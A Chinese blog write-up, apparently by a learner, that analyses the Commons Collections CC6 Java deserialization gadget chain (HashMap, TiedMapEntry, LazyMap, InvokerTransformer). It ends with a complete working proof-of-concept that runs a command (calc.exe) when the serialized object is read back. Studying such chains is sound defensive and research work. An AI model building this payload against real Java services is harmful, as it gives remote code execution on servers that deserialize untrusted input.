commons-collections6反序列化链

commons-collections6反序列化链分析

整体分析

cc6这条链我们先来ysoserial看看他的源码,源码如下image-20220411173321919

我们可以看到,他也是使用了LazyMap,但是不同的是,他是通过其他方式调用到了LazyMap的get方法,我们可以深入来看看,这里由于前面学过cc1的LazyMap的那条链了,关注LazyMap前面的部分就不再赘述,如果有师傅不懂的可以看看前面的文章

细节分析

咱就从 LazyMap的get方法开始吧,因为前面的和之前的链子是一样的。先找到谁调用了get方法,这里直接锁定TiedMapEntry的getValue方法,他这里返回了map.get(key),并且构造函数是publice,可以直接new TiedMapEntry这里的map对应的应该是之前的lazymap

image-20220411173327777

接下来是寻找调用getValue的位置,找到同个类下的hashCode方法

image-20220411173334640

这里调用了getValue()方法,我们得继续往上找,最好能直接找到在readObject方法中调用getValue(),ysoserial中给的是HashMap,那我们就在HashMap中找找

image-20220411173415252

在HaspMap的hash方法中能够找到调用hashCode方法,并且在readObject中找到了调用hash方法

image-20220411173421890
image-20220411173428825

至此这条链是差不多了,我们只需要手写poc即可,但是其实这里是有个小坑,就是在序列化的时候就会弹出计算器,这里的话和urldns那条链差不多的问题,我们这里会发现,在序列化的时候就触发了

image-20220411173434450

这里因为HashMap的put方法也调用了hash,所以我们要通过反射来修改tiedMapEntry的值,这里的话tiedMapEntry里面嵌套了lazyMap,lazyMap里嵌套了chainedTransformer,我们只需要改一层就好了,让他在put的时候的状态不能触发这条链,put完以后再改回去

image-20220411173440990

所以可以直接这样改

        Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"}),
        };
        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
        HashMap<Object,Object> hashMap=new HashMap<>();
        Map<Object,Object> lazyMap= LazyMap.decorate(hashMap,chainedTransformer);
//        Map<Object,Object> lazyMap= LazyMap.decorate(hashMap,new ConstantTransformer(1));
        TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"aaa");
        HashMap hashMap1 = new HashMap();
        hashMap1.put(tiedMapEntry,"bbb");

//        Class c=LazyMap.class;
//        Field factoryField = c.getDeclaredField("factory");
//        factoryField.setAccessible(true);
//        factoryField.set(lazyMap,chainedTransformer);

代码中被注释掉的都是修改以后的结果,大家可以先看看,但是改完以后会发现,反而没法触发了,这是怎么回事呢?这还是和urldns比较相似,我们只要把之前他put进去的一个键值对删了即可(哈哈这里其实我原本没调出来问题所在,想着先把文章发了,现在来补充印一下)。这里的话问题其实出在LazyMap的get方法中image-20220411173449363

我们直接在这个if这打上断点开始调试,我们可以看到,在这把这个key和value给put进去了,所以在反序列化的时候这里就有key了,就进不来了,我们只需要在后面把这个key给remove掉即可

image-20220411173454976

所以只需要加上

lazyMap.remove("ch1e");

再次调试,这次是反序列化以后的get了,因为把map里的ch1e的键删了,就可以进入if语句

image-20220411173519899

最终POC如下

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

public class cc6 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"}),
        };
        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
        HashMap<Object,Object> hashMap=new HashMap<>();
//        Map<Object,Object> lazyMap= LazyMap.decorate(hashMap,chainedTransformer);
        Map<Object,Object> lazyMap= LazyMap.decorate(hashMap,new ConstantTransformer(1));
        TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"aaa");
        HashMap<Object,Object> hashMap1 = new HashMap<>();
        hashMap1.put(tiedMapEntry,"bbb");
        lazyMap.remove("aaa");

        Class c=LazyMap.class;
        Field factoryField = c.getDeclaredField("factory");
        factoryField.setAccessible(true);
        factoryField.set(lazyMap,chainedTransformer);
        serialize(hashMap1);
        unserialize("ser.bin");
    }
    public static void serialize(Object obj) throws Exception{
        ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String filename) throws Exception{
        ObjectInputStream ois=new ObjectInputStream(new FileInputStream(filename));
        Object o = ois.readObject();
        return o;
    }

}

疑惑点

这里的话,上面的poc里为了成功执行,使用了lazyMap.remove("aaa");但是其实我在想,我们的目的是调用LazyMap的get方法,里面进入if的条件是当前lazyMap对象的map属性中不能有key,那我们为什么要去使用lazyMap的remove,而不是使用map.remove呢,这里我尝试了一下,使用map.remove貌似也能执行?这先丢着,希望有会的师傅可以指导我一下

这里解决了,还得是Y4哥哥猛啊

大概意思就是,LazyMap是继承了AbstractMapDecorator类,在AbstractMapDecorator类中有写remove方法,但是在LazyMap中没有写,他是使用的父类的remove,父类的remove其实是返回map.remove,所以上面我说的为什么不去找map属性的而是找本身的remove,一切都可以解释了image-20220411173538306